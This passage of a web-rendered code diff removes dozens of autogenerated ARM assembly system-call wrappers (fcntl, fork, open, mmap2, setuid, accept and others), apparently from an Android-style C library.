||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__fcntl:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_fcntl
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __fcntl64, #function
|
||||
.globl __fcntl64
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__fcntl64:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_fcntl64
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __fork, #function
|
||||
.globl __fork
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__fork:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_fork
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __getcwd, #function
|
||||
.globl __getcwd
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__getcwd:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_getcwd
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __getpriority, #function
|
||||
.globl __getpriority
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__getpriority:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_getpriority
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __ioctl, #function
|
||||
.globl __ioctl
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__ioctl:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_ioctl
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,21 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __llseek, #function
|
||||
.globl __llseek
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__llseek:
|
||||
mov ip, sp
|
||||
.save {r4, r5, r6, r7}
|
||||
stmfd sp!, {r4, r5, r6, r7}
|
||||
ldmfd ip, {r4, r5, r6}
|
||||
ldr r7, =__NR__llseek
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r5, r6, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,21 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __mmap2, #function
|
||||
.globl __mmap2
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__mmap2:
|
||||
mov ip, sp
|
||||
.save {r4, r5, r6, r7}
|
||||
stmfd sp!, {r4, r5, r6, r7}
|
||||
ldmfd ip, {r4, r5, r6}
|
||||
ldr r7, =__NR_mmap2
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r5, r6, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __open, #function
|
||||
.globl __open
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__open:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_open
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __openat, #function
|
||||
.globl __openat
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__openat:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_openat
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,21 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __pread64, #function
|
||||
.globl __pread64
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__pread64:
|
||||
mov ip, sp
|
||||
.save {r4, r5, r6, r7}
|
||||
stmfd sp!, {r4, r5, r6, r7}
|
||||
ldmfd ip, {r4, r5, r6}
|
||||
ldr r7, =__NR_pread64
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r5, r6, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __ptrace, #function
|
||||
.globl __ptrace
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__ptrace:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_ptrace
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,21 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __pwrite64, #function
|
||||
.globl __pwrite64
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__pwrite64:
|
||||
mov ip, sp
|
||||
.save {r4, r5, r6, r7}
|
||||
stmfd sp!, {r4, r5, r6, r7}
|
||||
ldmfd ip, {r4, r5, r6}
|
||||
ldr r7, =__NR_pwrite64
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r5, r6, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __reboot, #function
|
||||
.globl __reboot
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__reboot:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_reboot
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __rt_sigaction, #function
|
||||
.globl __rt_sigaction
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__rt_sigaction:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_rt_sigaction
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __rt_sigprocmask, #function
|
||||
.globl __rt_sigprocmask
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__rt_sigprocmask:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_rt_sigprocmask
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __rt_sigtimedwait, #function
|
||||
.globl __rt_sigtimedwait
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__rt_sigtimedwait:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_rt_sigtimedwait
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __set_tls, #function
|
||||
.globl __set_tls
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__set_tls:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_ARM_set_tls
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __setresuid, #function
|
||||
.globl __setresuid
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__setresuid:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_setresuid32
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __setreuid, #function
|
||||
.globl __setreuid
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__setreuid:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_setreuid32
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __setuid, #function
|
||||
.globl __setuid
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__setuid:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_setuid32
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __sigaction, #function
|
||||
.globl __sigaction
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__sigaction:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_sigaction
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __sigsuspend, #function
|
||||
.globl __sigsuspend
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__sigsuspend:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_sigsuspend
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __statfs64, #function
|
||||
.globl __statfs64
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__statfs64:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_statfs64
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,21 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __sys_clone, #function
|
||||
.globl __sys_clone
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__sys_clone:
|
||||
mov ip, sp
|
||||
.save {r4, r5, r6, r7}
|
||||
stmfd sp!, {r4, r5, r6, r7}
|
||||
ldmfd ip, {r4, r5, r6}
|
||||
ldr r7, =__NR_clone
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r5, r6, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __syslog, #function
|
||||
.globl __syslog
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__syslog:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_syslog
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __timer_create, #function
|
||||
.globl __timer_create
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__timer_create:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_timer_create
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __timer_delete, #function
|
||||
.globl __timer_delete
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__timer_delete:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_timer_delete
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __timer_getoverrun, #function
|
||||
.globl __timer_getoverrun
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__timer_getoverrun:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_timer_getoverrun
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __timer_gettime, #function
|
||||
.globl __timer_gettime
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__timer_gettime:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_timer_gettime
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __timer_settime, #function
|
||||
.globl __timer_settime
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__timer_settime:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_timer_settime
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __wait4, #function
|
||||
.globl __wait4
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__wait4:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_wait4
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type _exit, #function
|
||||
.globl _exit
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
_exit:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_exit_group
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type _exit_thread, #function
|
||||
.globl _exit_thread
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
_exit_thread:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_exit
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type accept, #function
|
||||
.globl accept
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
accept:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_accept
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue